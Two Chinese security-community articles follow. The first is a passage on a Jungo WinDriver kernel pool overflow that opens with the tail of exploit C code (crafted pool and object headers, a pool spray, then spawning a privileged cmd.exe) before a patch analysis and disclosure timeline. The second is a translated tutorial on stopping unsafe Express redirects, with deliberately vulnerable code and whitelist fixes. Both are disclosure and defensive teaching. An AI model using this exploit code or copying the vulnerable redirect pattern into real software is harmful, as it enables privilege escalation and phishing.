if (check_priv_count(orig_priv_count, &orig_priv_count))
{
printf("[+] Breaking out of loop, popping shell!n");
break;
}
//pool header block
*(ULONG *)(user_buff + 0x374) = 0x04080070; //ULONG1
*(ULONG *)(user_buff + 0x378) = 0xee657645;//PoolTag
//QuotaInfo block
*(ULONG *)(user_buff + 0x37c) = 0x00000000; //PagedPoolCharge
*(ULONG *)(user_buff + 0x380) = 0x00000040; //NonPagedPoolCharge
*(ULONG *)(user_buff + 0x384) = 0x00000000; //SecurityDescriptorCharge
*(ULONG *)(user_buff + 0x388) = 0x00000000; //SecurityDescriptorQuotaBlock
//Event header block
*(ULONG *)(user_buff + 0x38c) = 0x00000001; //PointerCount
*(ULONG *)(user_buff + 0x390) = 0x00000001; //HandleCount
*(ULONG *)(user_buff + 0x394) = 0x00000000; //NextToFree
*(ULONG *)(user_buff + 0x398) = 0x00080000; //TypeIndex <--- NULL POINTER
*(ULONG *)(user_buff + 0x39c) = 0x867b3940; //objecteCreateInfo
*(ULONG *)(user_buff + 0x400) = 0x00000000;
*(ULONG *)(user_buff + 0x404) = 0x867b3940; //QuotaBlockCharged
spray_pool(handle_arr);
}
system("cmd.exe");
return 0;
}
# 漏洞修复方案
Jungo在获取到漏洞信息之后，便立刻开发出了针对该漏洞的修复补丁。解决这个问题最简单的方法就是让程序仅从用户模式下获取一次参数值，并将获取到的值存储在本地变量（内核空间）中。
我们在对补丁进行分析之后，了解到了补丁程序具体实现的功能，从IOCTL处理器开始，我们查看到了以下内容：
跟之前存在安全漏洞的代码有很大的区别，从我们用户空间传递过去的值将存储在ecx寄存器中，然后以参数的形式传递给sub_419CA2。而在sub_419CA之中，我们可以看到用户模式缓冲区被引用了很多次，而真实的空间大小值（位于user_buff+0x34）并没有被获取过。
比如说，我们可以看看函数的起始部分，被推入栈中的参数已经被访问了，而这个参数是我们在用户模式下无法完全控制的。除此之外，空间大小值（0x800）已经被硬编码存储了，这样也修复了我们之前所提到的整形溢出问题。
最后，在存在漏洞的拷贝循环中：
arg_4是我们传递的大小值([user_buff+0x34] _0xa + 0x3A)，ebx为池缓冲区（大小为[user_buff+0x34]_ 0xa
+ 0x48），而edi是用户缓冲区。我们可以看到，函数直接从栈中获取了这个值，这也成功修复了本文之前所描述的安全问题。
## 漏洞披露时间轴
2017年12月23日：将漏洞信息披露给厂商；
2017年12月24日：收到厂商的回复，并要求提供初始安全报告；
2017年12月29日：将初始漏洞报告发送给厂商；
2018年01月01日：厂商向我发送了漏洞补丁的测试版本，并让我进行测试；
2018年01月01日：漏洞补丁已确认有效；
2018年01月10日：漏洞补丁正式发布；
## 参考资料
[1] <https://www.jungo.com/st/products/windriver/>
[2] <https://srcincite.io/pocs/src-2017-0026.py.txt>
[3] <http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf>
[4] <http://www.fuzzysecurity.com/tutorials/expDev/20.html>
[5] <https://www.whitehatters.academy/intro-to-windows-kernel-exploitation-3-my-first-driver-exploit/>
[6] <https://www.whitehatters.academy/intro-to-kernel-exploitation-part-1/> | 社区文章 |
# 如何防御Node.js中不安全的重定向
|
##### 译文声明
本文是翻译文章，文章来源：hailstone.io
原文地址：<https://blog.hailstone.io/how-to-prevent-unsafe-redirects-in-node-js/>
译文仅供参考，具体内容表达以及含义原文为准。
## 概念
对于Web开发人员来说，不安全或未经验证的重定向是一个必须要注意的地方。Express框架能够为重定向提供本地支持，使其易于实现和使用。但是，Express却将对输入进行验证的这项工作留给了开发者。
根据OWASP.org对“未经验证的重定向和转发”的定义，其概念如下：
未经验证的重定向和转发是指，Web应用程序接受不受信任的输入，而该输入可能导致Web应用程序将请求重定向到用户输入中包含的不受信任的URL。
通常，会在登录和身份验证的过程用到重定向，从而让用户在登陆之后重新回到登录前的页面。此外，还有其他方案能够实现这一点，具体根据业务需求或应用程序的类型而有所不同。
## 安全问题
如果不验证用户输入的重定向，那么攻击者就能够进行网络钓鱼诈骗，窃取用户凭据或执行其他恶意操作。
需要注意的是，当在Node.js或Express中实现重定向时，在服务器端进行输入验证非常重要。
如果攻击者发现某个站点没有验证外部用户提交的输入，那么攻击者可能会生成一个特制的链接，并在论坛、社交媒体或其他公共平台发布，以便诱导用户单击该链接。
从表面上看，这些URL的域名确实属于用户将要（或正在）访问的合法站点。例如：<https://example.com/login?url=http://examp1e.com/bad/things>
，确实是属于example.com 域名。
然而，如果服务器端的重定向逻辑没有对URL参数中的数据进行验证，那么用户最终访问到的网站可能是伪造的钓鱼站点（例如 examp1e.com ）。
这只是攻击者如何利用不安全的重定向逻辑的一个简单示例。
## 不安全重定向的示例
在下面的代码中，我们看到/login接收来自URL参数的未经验证的数据，并且直接就将其传递给Express的res.redirect()方法。因此，只要用户通过身份验证，Express就会将用户重定向到输入或提供的任何URL。
var express = require('express');
var port = process.env.PORT || 3000;
var app = express();
app.get('/login', function (req, res, next) {
if(req.session.isAuthenticated()) {
res.redirect(req.query.url);
}
});
app.get('/account', function (req, res, next) {
res.send('Account page');
});
app.get('/profile', function (req, res, next) {
res.send('Profile page');
});
app.listen(port, function() {
console.log('Server listening on port ' + port);
});
## 防范方案1：输入验证
通常情况下，应该尽可能避免在代码中用到重定向和转发。
如果必须要在代码中使用重定向，那么首选的方案是使用事先定义的映射到特定目标的键。这种方案被称为白名单方法。具体实现方式如下：
1、baseHostname确保任何重定向都将不会离开我们的域名。
2、redirectMapping是一个对象，它将事先定义的键（例如传递给URL参数的内容）映射到服务器上的指定路径。
3、validateRedirect()方法判断事先定义的键是否存在。如果存在，就会返回重定向到相应路径。
4、修改/login逻辑，将baseHostname和redirectPath变量连接在一起，避免使用户提供的输入内容直接进入到Express的res.redirect()方法。
5、最后，使用encodeURI()方法作为额外的保证，确保串联字符串的URI部分被正确编码，只允许合法的重定向。
参考代码如下：
//Configure your whitelist
var baseHostname = "https://example.com";
var redirectMapping = {
'account': '/account',
'profile': '/profile'
}
//Create a function to validate whitelist
function validateRedirect(key) {
if(key in redirectMapping) {
return redirectMapping[key];
}else{
return false;
}
}
app.get('/login', function (req, res, next) {
if(req.session.isAuthenticated()) {
redirectPath = validateRedirect(req.query.url);
if(redirectPath) {
res.redirect(encodeURI(baseHostname + redirectPath));
}else{
res.send('Not a valid redirect!');
}
}
});
## 防范方案2
在某些情况下，将每种合法的重定向列成白名单是不切实际的，但开发者仍然需要进行重定向，并且希望将重定向限制在域的范围内。这时，如果外部提供的值能够遵循特定模式（例如：都是16个字符的字符串，由字母和数字组成），可以采用这种方案。仅包含字母和数字的字符串是最为理想的，因为它们不包含任何可能有助于目录遍历、路径遍历等攻击的特殊字符（例如省略号、斜杠等）。
举例来说，开发人员可能希望用户在登陆后，能重定向回到电子商务网站上的特定项目。由于电子商务网站针对每种产品都有一个唯一的值，由字母和数字组成，因此开发者可以根据RegEx白名单验证外部输入，从而实现安全的重定向。在这种情况下，使用的是productId变量，如下面代码所示：
//配置白名单
var baseHostname = "https://example.com";
app.get('/login', function (req, res, next) {
productId = (req.query.productId || '');
whitelistRegEx = /^[a-zA-Z0-9]{16}$/;
if(productId) {
//Validate the productId is alphanumeric and exactly 16 characters
if(whitelistRegEx.test(productId)) {
res.redirect(encodeURI(baseHostname + '/item/' + productId));
}else{
//The productId did not meet the RegEx whitelist, so return an error
res.send('Invalid product ID');
}
}else{
//No productId was provided, so redirect to home page
res.redirect('/');
}
});
最后，警告用户他们正在被自动重定向是非常重要的。如果实际上需要将用户重定向到域名之外，那么可能需要在流程中创建一个中间页面，如下图所示，该页面能够提醒用户，并明确告知将要重定向到的URL。 | 社区文章 |
Subsets and Splits